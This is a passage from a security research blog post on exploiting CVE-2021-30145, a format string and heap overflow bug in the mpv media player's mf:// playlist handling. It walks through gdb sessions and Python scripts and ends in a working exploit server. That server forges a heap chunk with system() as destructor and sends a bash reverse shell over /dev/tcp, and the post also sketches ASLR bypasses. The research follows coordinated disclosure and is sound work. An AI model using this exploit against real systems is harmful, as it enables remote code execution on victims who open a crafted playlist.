0x7ffe4002180: 0x2020202020202020 0x2020202020202020
0x7ffe4002190: 0x2020202020202020 0x2020202020202020
0x7ffe40021a0: 0x2020202020202020 0x2020202020202020
...

```

If we continue the execution of the program, we get a segmentation fault because of the corrupted heap:

```

gdb-peda$ d br 1
gdb-peda$ c
Continuing.
[mf] number of files: 0
free(): invalid next size (fast)

Thread 3 "mpv/opener" received signal SIGABRT, Aborted.
...
Stopped reason: SIGABRT
__GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.

```

We have verified that the `sprintf` call also results in a heap overflow vulnerability.

Exploitation

In the last section we have seen that the usage of `sprintf` with a user controllable format string and no boundary checks introduces two kind of vulnerabilities: a format string vulnerability as well as a heap overflow, which is based on the format string vulnerability.

A format string vulnerability is usually a very powerful exploitation primitive. The combination of output padding (e.g. `%1337d`) with the usage of the `%n` format specifier can generally be used in order to write arbitrary values to memory. By leveraging the dynamic field width it might even be possible to bypass ASLR in an one-shot exploit. Though in this case the impact of the format string vulnerability is limited on Linux, because the binary is compiled with `FORTIFY_SOURCE` by default. Because of this the call to `sprintf` is replaced with a call to `__sprintf_chk`, which terminates the program if a `%n` format specifier is used within a format string in writable memory (***** %n in writable segment detected *****). In order to determine this `__sprintf_chk` parses the output of `/proc/self/maps`. From a security perspective this is a good trade-off: the `%n` can still be used in static (read-only) strings, but the primary exploitation technique (using `%n` in a writable format string) is eliminated. From an exploitation development perspective this is bad: we cannot use the format string vulnerability to write to memory. This limits it to the ability to leak memory addresses, which is quite useless considering the assumed attack vector, where a victim is lured into opening a malicious URL. For a remote attacker it is not of any use, if a few leaked addresses pop up in the victims shell. On Windows the situation is a little bit different, but we will focus on Linux for now.

Here we are left with the heap overflow, which is based on the format string vulnerability and can be provoked by using padded format specifiers. A heap overflow introduces a huge amount of exploitation possibilities, but is very dependent on the concrete context. In some situations even a single null byte overflow can be used to gain arbitrary code execution by corrupting the heap meta data.

For the development of this proof of concept exploit I am using `mpv 0.33.0` on `Ubuntu 20.04.2 LTS` with `GLIBC 2.31-0ubuntu9.2` and `ASLR` disabled.

We have already seen that mpv seems to use some custom allocation mechanisms, since the chunk for the format string was not allocated using a plain `malloc`, but rather the custom function `taalloc_size`. The allocator used here is called **Tree Allocator**, which core is implemented in `ta.c`. More details can be found [here](#). Basically the idea is to not only have independently allocated chunks, but a tree structure of allocated chunks. For this purpose each chunk is preceded by a header struct called `ta_header`:

```

struct ta_header {
    size_t size;           // size of the user allocation
    // Invariant: parent!=NULL => prev==NULL
    struct ta_header *prev; // siblings list (by destructor order)
    struct ta_header *next;
    // Invariant: parent==NULL || parent->child==this
    struct ta_header *child; // points to first child
    struct ta_header *parent; // set for _first_ child only, NULL otherwise
    void (*destructor)(void *);
#ifdef TA_MEMORY_DEBUGGING
    unsigned int canary;
    struct ta_header *leak_next;
    struct ta_header *leak_prev;
    const char *name;
#endif
};

```

What is really eye-catching here from an exploitation point of view is the `destructor` function pointer. Having a function pointer on the heap possibly enables the ability to leverage the heap overflow vulnerability in order to overflow into an adjacent chunk overwriting this function pointer. When the program calls the `destructor` function for this specific chunk without crashing beforehand, we gain code execution.

In the above `ta_header` struct we can also see, that there is a `canary` member if `TA_MEMORY_DEBUGGING` is enabled, which is the case by default. Though the purpose of this canary is to prevent software bugs rather than being an exploitation mitigation. Accordingly the canary is always set to the static value `0xD3ADB3EF`:

```

...
#define CANARY 0xD3ADB3EF
...

static void ta_dbg_add(struct ta_header *h)

```

My first approach was to simply follow the before mentioned strategy: overflow into an adjacent chunk and overwrite the **destructor** function pointer. At first we need to determine where the **destructor** function is called from. This leads us to the function **ta_free**:

```
void ta_free(void *ptr)
{
    struct ta_header *h = get_header(ptr);
    if (!h)
        return;
    if (h->destructor)
        h->destructor(ptr);
    ta_free_children(ptr);
    ta_set_parent(ptr, NULL);
    ta_dbg_remove(h);
    free(h);
}
```

The logic is straightforward: if the **destructor** is set (not **NULL**), it is called with the first argument being the chunk pointer to be free'd (**ptr**). Beforehand (in the first line) **get_header** is called to get the pointer to the **ta_header** struct. Within **get_header** an additional function named **ta_dbg_check_header** is called:

```
static struct ta_header *get_header(void *ptr)
{
    struct ta_header *h = ptr ? PTR_TO_HEADER(ptr) : NULL;
    ta_dbg_check_header(h);
    return h;
}
```

This function validates the chunk by comparing the **canary** value and checking the integrity of the **parent** pointer:

```
static void ta_dbg_check_header(struct ta_header *h)
{
    if (h) {
        assert(h->canary == CANARY);
        if (h->parent) {
            assert(!h->prev);
            assert(h->parent->child == h);
        }
    }
}
```

We need to keep this in mind when crafting our exploit.

At first we start to implement a little web-server, which only serves a playlist file (regardless of the request):

```
#!/usr/bin/env python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()

playlist = b'mf://'
playlist += b'A'*0x48
playlist += b'%d' # we need a '%' to reach vulnerable path

d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: ' + str(len(playlist)).encode() + b'\r\n'
d += b'\r\n'
d += playlist

c.send(d)
c.close()
```

The script starts a listening socket on port **7000** and answers to all connecting clients with a HTTP response containing a playlist file (**Content-type: audio/x-mpegurl**). The playlist in the body only contains a single entry: **mf://AAAA.%d**. The **%** is necessary to reach the **__sprintf_chk** call. The amount of **As (0x48)** is used to adjust the size of the filename. This is relevant, because depending on the size of the filename, the allocated chunk ends up in different heap locations. If we for example only use **mf://AAAA%d** the call to **ta_alloc_size** requests a smaller chunk for the destination buffer, which will be served from a different location in the heap. Using **'mf://' + 'A'*0x48 + '%d'** turned out to end up in a suitable heap location. Let's start gdb again, set a breakpoint on the **__sprintf_chk** call and try to open the playlist:

```
gdb-peda$ b *open_mf_pattern+559
Breakpoint 1 at 0x5a3cf: file /usr/include/x86_64-linux-gnu/bits/stdio2.h, line 36.
gdb-peda$ r http://localhost:7000/x.m3u
Starting program: /home/user/opt/mpv/build/mpv http://localhost:7000/x.m3u
...
[-----code-----]
0x5555555ae3c0 <open_mf_pattern+544>: mov     rdx,0xfffffffffffffff
0x5555555ae3c7 <open_mf_pattern+551>: mov     esi,0x1
0x5555555ae3cc <open_mf_pattern+556>: add     ebx,0x1
=> 0x5555555ae3cf <open_mf_pattern+559>: call    0x5555555867c0 <__sprintf_chk@plt>
0x5555555ae3d4 <open_mf_pattern+564>: mov     rdi,r13
0x5555555ae3d7 <open_mf_pattern+567>: call    0x5555555e9b60 <mp_path_exists>
0x5555555ae3dc <open_mf_pattern+572>: test    al,al
0x5555555ae3de <open_mf_pattern+574>: je       0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7ffe400e930 --> 0x55555572bba0 --> 0x0
arg[1]: 0x1
arg[2]: 0xfffffffffffffff
arg[3]: 0x7ffe408f695 ('A' <repeats 72 times>, "%d")
... ^ ^ ^
```

We hit the breakpoint. The destination of `__sprintf_chk`, which is the chunk allocated by `ta_alloc_size` is located at `0x7fffe400e930` (first parameter). This address references the actual data of the allocated chunk. In order to see the `ta_header` before it, we need to subtract `0x50` from this address:

We can see that there is actually an adjacent chunk, which `ta_header` struct begins at `0x7fffe40ead0`.

Our next goal is to overwrite the `destructor` pointer of this adjacent chunk. We also need to ensure that we bypass the check within `ta_dbg_check_header` mentioned before:

```
static void ta_dbg_check_header(struct ta_header *h)
{
    if (h) {
        assert(h->canary == CANARY);
        if (h->parent) {
            assert(!h->prev);
            assert(h->parent->child == h);
        }
    }
}
```

The `canary` value is not a problem, because it is located after the `destructor` pointer. Though we need to set the `parent` to `NULL`, in order to prevent the assertion checks within the inner if statement.

This can be satisfied by using the following URL:

```
...  
playlist = b'mf://'  
playlist += b'A'*0x18  
playlist += b'\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\b2\b3\b4\b5\b6\b7\b8\b9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xda\xdb\xdc\xdd\xde\xdf\xea\xeb\xec\xed\xee\xef\xfa\xfb\xfc\xfd\xfe\xff'
```

The `b'A' * 0x18` ensures that the size of the filename stays the same so that we end up in the desired heap location. The first padded format specifier `%422c` provokes the heap overflow and ensures that the following data ends up at the correct location within the `ta_header` of the adjacent chunk. The purpose of the two following `%c` is just to skip to an argument, which value is `0`. This is the case for the fourth argument as we can see on the call to `__sprintf_chk`:

```

...
R8 : 0x0      <-- 1st argument (will change due to the for loop)
R9 : 0x4      <-- 2nd argument
...
=> 0x5555555ae3cf <open_mf_pattern+559>:      call    0x5555555867c0 <_sprintf_chk@plt>
[-----stack-----]
0000| 0x7fffebcaee0 --> 0x7fffebcafd0f --> 0x5555555b95a000    <-- 3rd argument
0008| 0x7fffebcaee08 --> 0x0                                <-- 4th argument

```

On the first call to `sprintf chk` the first argument is 0 too, but this will change on the next loop iteration. The fourth argument stays 0 throughout the loop, so we use this.

Next within the URL is `%4$%c4$%c4$%c4$%c4$%c4$%c4$%c`, which writes eight null bytes (`0x0000000000000000`) to the destination. These will end up in the `parent` pointer of the adjacent chunk. After this follows `\xef\xbe\xad\xde`, which will write the value `0xdeadbeef` to the `destructor` pointer:

```
struct ta_header {
...
    struct ta_header *parent;    // <-- 0x0000000000000000
```

Let's rerun the web-server with the adjusted URL and open it with mpv:

```
gdb-peda$ r http://localhost:7000/x.m3u
Starting program: /home/user/opt/mpv/build/mpv http://localhost:7000/x.m3u
...
[-----code-----]
0x5555555ae3c0 <open_mf_pattern+544>:      mov     rdx,0xfffffffffffff
0x5555555ae3c7 <open_mf_pattern+551>:      mov     esi,0x1
0x5555555ae3cc <open_mf_pattern+556>:      add     ebx,0x1
=> 0x5555555ae3cf <open_mf_pattern+559>:      call    0x5555555867c0 <__sprintf_chk@plt>
0x5555555ae3d4 <open_mf_pattern+564>:      mov     rdi,r13
0x5555555ae3d7 <open_mf_pattern+567>:      call    0x5555555e9b60 <mp_path_exists>
0x5555555ae3dc <open_mf_pattern+572>:      test    al,al
0x5555555ae3de <open_mf_pattern+574>:      je      0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7ffe400e930 --> 0x55555572bba0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffff
arg[3]: 0x7ffe408f695 ('A') <repeats 24 times>, "%422c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c", <incomplete sequence \336>
arg[4]: 0x0
...
```

At this point we are right before the call to `__sprintf_chk` and the adjacent chunk is still untouched:

```
gdb-peda$ x/10xg 0x7ffe400ead0
0x7ffe400ead0: 0x000000000000001f8      0x00007ffe400cf50      <-- [   size   |   prev   ]
0x7ffe400eae0: 0x00007ffe400e6a0      0x00007ffe400e7f0      <-- [   next   |   child   ]
0x7ffe400eaf0: 0x00000000000000000      0x00000000000000000      <-- [   parent  |   destructor ]
0x7ffe400eb00: 0x00000000d3adb3ef      0x00000000000000000      <-- [   canary  |   leak_next ]
0x7ffe400eb10: 0x00000000000000000      0x0000555555664822      <-- [ leak_prev |   name    ]
```

If we now step to the next instruction, `__sprintf_chk` is called with our format string and the overflow is triggered:

```
gdb-peda$ ni
...
gdb-peda$ x/10xg 0x7ffe400ead0
0x7ffe400ead0: 0x2020202020202020      0x2020202020202020      <-- [   size   |   prev   ]
0x7ffe400eae0: 0x2020202020202020      0xdf04002020202020      <-- [   next   |   child   ]
0x7ffe400eaf0: 0x00000000000000000      0x00000000deadbeef      <-- [   parent  |   destructor ]
0x7ffe400eb00: 0x00000000d3adb3ef      0x00000000000000000      <-- [   canary  |   leak_next ]
0x7ffe400eb10: 0x00000000000000000      0x0000555555664822      <-- [ leak_prev |   name    ]
```

The first members of the `ta_header` are simply overwritten with `0x20` bytes (space), because of the padding we used. Though these members are not relevant in order to reach the `destructor` function call. The `parent` member was successfully overwritten with `0x0000000000000000` and the `destructor` with `0x00000000deadbeef`. If we continue the execution, we get a segmentation fault, which is caused by the `RIP` being `0xdeadbeef`:

```
gdb-peda$ c
Continuing.
[mf] number of files: 0

Thread 4 "mpv/opener" received signal SIGSEGV, Segmentation fault.
[-----registers-----]
RAX: 0xdeadbeef
RBX: 0x7ffe4001500 --> 0x5555556b95a0 --> 0x555555666d36 --> 0x6567616d6900666d ('mf')
RCX: 0x1
RDX: 0x0
RSI: 0x7ffe400cf50 --> 0x0
RDI: 0x7ffe400eb20 --> 0x7ffe400e6f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
RBP: 0x7ffe400eb20 --> 0x7ffe400e6f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
RSP: 0x7ffebcaf0d8 --> 0x55555565e40d (<ta_free+45>: mov rdi,rbp)
RIP: 0xdeadbeef
R8 : 0x0
R9 : 0x1
R10: 0x1
R11: 0x0
R12: 0x7ffe400ead0 (" ")
R13: 0x7ffe40016f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
R14: 0x55555572b320 --> 0x55555572b5d0 --> 0x55555572b460 (0x000055555572b320)
R15: 0x5555556b95a0 --> 0x555555666d36 --> 0x6567616d6900666d ('mf')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
Invalid $PC address: 0xdeadbeef
[-----stack-----]
0000| 0x7ffebcaf0d8 --> 0x55555565e40d (<ta_free+45>: mov rdi,rbp)
0008| 0x7ffebcaf0e0 --> 0x7ffe40016f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
0016| 0x7ffebcaf0e8 --> 0x7ffe4001500 --> 0x5555556b95a0 --> 0x555555666d36 --> 0x6567616d6900666d ('mf')
0024| 0x7ffebcaf0f0 --> 0x7ffebcaf0f0 --> 0x7ffe40014b0 --> 0xf8
0032| 0x7ffebcaf0f8 --> 0x55555565e5b9 (<ta_free_children+41>: mov rdi,QWORD PTR [rbx-0x38])
0040| 0x7ffebcaf100 --> 0x7ffebcaf260 --> 0xc2f000000 ('')
0048| 0x7ffebcaf108 --> 0x55555565e415 (<ta_free+53>: mov rdi,rbp)
0056| 0x7ffebcaf110 --> 0x7ffe400eb20 --> 0x7ffe400e6f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
```

We successfully control the instruction pointer. Though the context is not very opportune. At this point we only control the `RIP`, but no other registers. Since we are not directly interacting with the program, we cannot simply use a `one_gadget`. My first idea was to find a gadget, which will change `RSP` and `R12`, because it seems that we can control the content the pointer in `R12` is referencing (spaces from padding: " "). If `RSP` would be set to this address, we could store a more complex ROP chain there. Nevertheless I didn't find a suitable gadget.

By reading the source code again I came up with another idea. Let's have a look at `ta_free` again:


```

    struct ta_header *h = get_header(ptr);
    if (!h)
        return;
    if (h->destructor)
        h->destructor(ptr);
    ta_free_children(ptr);
    ta_set_parent(ptr, NULL);
    ta_dbg_remove(h);
    free(h);
}

```

After the **destructor** call the function **ta_free_children** is called, which is obviously responsible for free'ing a child chunk. The function retrieves the **child** pointer within the **ta_header** and also passes it to **ta_free**, if it is set:

```

void ta_free_children(void *ptr)
{
    struct ta_header *h = get_header(ptr);
    while (h && h->child)
        ta_free(PTR_FROM_HEADER(h->child));
}

```

This enables another strategy: instead of directly overwriting the **destructor** pointer, we can overwrite the **child** pointer with the address of a forged fake chunk. For this fake chunk we set the **destructor** pointer to the function address of **system** and store a command of our choice in the actual data. When **ta_free** is called for this child, the **ptr** points to the command. This **ptr** is passed as the first argument to the **destructor**, which is **system**. This way we can run arbitrary commands through **system**. This is very similar to a glibc heap exploit, where **__free_hook** is set to **system** and a chunk is free'd, which contains the command to be executed.

Storing the fake chunk in the URL is not a very good option, because editing the URL also results in another allocation size. This possibly causes the chunk to end up in another heap location. Also we must use the format specifier **%4\$c** in order to write a single null byte. A more suitable place for the fake chunk is the HTTP response we send. We can simply insert a custom HTTP header, which is not evaluated by the target application and only serves the purpose of delivering our fake chunk to the memory of the application. The adjustments in the script look like this:

```

...

playlist = b'mf:/'
playlist += b'%390c%c%c'
playlist += b'\x58\x1e%4$c\xe4\xff\x7f' # overwriting child addr with fake child

SYSTEM_ADDR = 0x7ffff5c37410
CANARY       = 0xD3ADB3EF

fake_chunk = p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name

d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: ' + str(len(playlist)).encode() + b'\r\n'
d += b'EL: '
d += fake_chunk
d += b'gnome-calculator\x00'
d += b'\r\n'
d += b'\r\n'
d += playlist
...

```

The padding has changed to **%390c**, since we are now targeting the **child** member of the **ta_header**. This pointer is overwritten with the static address **0x7ffe4001e58** (ASLR is disabled!), which references the fake chunk stored in the HTTP response. The **destructor** of the fake chunk is set to **system**. Also **canary** is set to the required value **0xD3ADB3EF** (this is important for the validation check within **ta_dbg_check_header**). The command to be executed is set to **gnome-calculator** to spawn a calculator.

In order to trigger the exploit, we run the payload serving script and start mpv with the malicious playlist URL:

```
#!/usr/bin/env python3

import socket
from pwn import *
from threading import Thread

LHOST = 'localhost'
LPORT = 9001

SRVHOST = 'localhost'
SRVPORT = 7000

OFFSET = 390 # padding to overflow heap
CANARY = 0xD3ADB3EF
SYSTEM_ADDR = 0x7ffff5c37410
PAYLOAD = 'bash -c "bash -i >& /dev/tcp/' + LHOST + '/' + str(LPORT) + ' 0>&1"\x00'

class RevShellHandler(Thread):

    def run(self):
        while True:
            io = listen(LPORT, LHOST)
            io.wait_for_connection()
            io.interactive()

class PayloadHandler(Thread):

    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((SRVHOST, SRVPORT))
        s.listen(5)
        log.info('ready to serve payload on http://' + SRVHOST + ':' + str(SRVPORT) + '/' + x.m3u)
        while True:
            c, a = s.accept()
            self.handle_client(c, a)

    def handle_client(self, c, a):
        log.warn('serving payload to ' + a[0] + ':' + str(a[1]))
        playlist = b'mf://'
        playlist += b'%' + str(OFFSET).encode() + b'c%c%c'
        playlist += b'\x58\x1e%4$c\xe4\xff\x7f' # overwriting child addr with fake child

        fake_chunk = p64(0) # size
        fake_chunk += p64(0) # prev
        fake_chunk += p64(0) # next
        fake_chunk += p64(0) # child
        fake_chunk += p64(0) # parent
        fake_chunk += p64(SYSTEM_ADDR) # destructor
        fake_chunk += p64(CANARY) # canary
        fake_chunk += p64(0) # leak_next
        fake_chunk += p64(0) # leak_prev
        fake_chunk += p64(0) # name

        d = b'HTTP/1.1 200 OK\r\n'
        d += b'Content-type: audio/x-mpegurl\r\n'
        d += b'Content-Length: ' + str(len(playlist)).encode() + b'\r\n'
        d += b'PL: '
        d += fake_chunk
        d += PAYLOAD.encode()
        d += b'\r\n'
        d += b'\r\n'
        d += playlist

        c.send(d)
        c.close()

reh = RevShellHandler()
reh.start()
plh = PayloadHandler()
plh.start()
```

The script in action:

In this section we will take a look at possibilities to bypass ASLR and briefly determine how the situation is on Windows from an exploit development point of view.

ASLR bypass

After having verified that we can gain arbitrary code execution on Linux with **ASLR** disabled, let's think about how **ASLR** might be bypassed.

What makes this challenging is that the attack vector seems to be a one-shot: the targeted client requests the malicious playlist from us and we serve the payload in form of the **mf://** URL. The communication ends here and there seems to be no way we could get an address leak required to bypass **ASLR**. Though this is not totally true. The word **playlist** implies that this file is a list. We can not only store one malicious **mf://** URL, but for example an additional **http://** URL like this:

```
mf://<EVIL>
http://attacker/xyz
```

Before the first entry in the playlist (**mf://<EVIL>**) is evaluated, the whole playlist is parsed. This includes allocating chunks for all entries within the playlist. After this the entries are evaluated or fetched one after another. Using the **mf://<EVIL>** entry we can leverage the heap overflow in order to overwrite the second playlist entry, which is the **http://attacker/xyz** URL to fetch next. If we change this URL to contain an address from the application, we retrieve this address via HTTP as soon as the client requests it. The challenge here is to groom the heap, so that the chunk allocated for the **__sprintf_chk** destination is right before the chunk allocated for the **http://attacker/xyz** URL to fetch.

The next question is how do we use the leaked address without the requirement of having to manually open yet another malicious playlist URL? The answer to this is straightforward: we simply use a cascade by additionally providing the URL to another playlist **.m3u** file:

```
mf://<EVIL>
http://attacker/xyz
http://attacker/stage2.m3u
```

This way the **stage2.m3u** playlist will be requested after the **http://attacker/xyz** request and its content will be evaluated just like the playlist before. This time the **stage2.m3u** playlist file can contain our original exploit to gain code execution, but is created on the fly to contain the correct addresses based on the first HTTP request (**http://attacker/xyz**), which leaked the applications addresses.

Windows

mpv is available for a wide variety of operation systems, but let's have at least a brief look at Windows.

Although I didn't dig deep into developing an exploit for Windows yet, I assume that the conditions are far more in our favor here. One reason for this is that there is no **FORTIFY_SOURCE** by default. Thus we are able to use the **%n** format specifier in order to write to memory. What makes it a little less comfortable is that there are no argument selectors (e.g. **%4\$c**).

There is another interesting Windows specific aspect when using the **mf://** protocol. On Linux we can reference the local file **/tmp/test.jpg** by providing **mf:///tmp/test.jpg**. On Windows we would use **mf://C:\Windows\Temp\test.jpg** in order to reference the file **C:\windows\Temp\test.jpg**. When dealing with file paths like this, it is sometimes possible to increase the exploitation possibilities on Windows by using **UNC paths**. This is totally true here, because we can actually use a UNC path within the **mf://** protocol handler. Also we can provide format specifiers in the requested UNC path. This means that we can easily leak addresses via SMB:

This possibility makes it even more easy to bypass ASLR on Windows.

Conclusion

The exciting aspect of memory corruption vulnerabilities is that they arise a lot of opportunities, which oftentimes can be turned into code execution by putting enough work into it.

Even with mitigations like **FORTIFY_SOURCE** the impact of a format string vulnerability is most probably severe. In this case the implicitly deduced heap overflow allows an attacker to gain arbitrary code execution on Linux. Also there are ways to bypass ASLR and probably also develop an exploit for other operating systems.

We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it.

Ok No

Timeline

03 April 2021 – Vendor Notification

03 April 2021 – Vendor Acknowledgement

05 April 2021 – Vendor Patch

12 April 2021 – Public Disclosure

 **POST VIEWS: 7,213**

ARTICLE

CVE-2021-30145, EXPLOITATION, FORMATSTRING, HEAP, LINUX, X64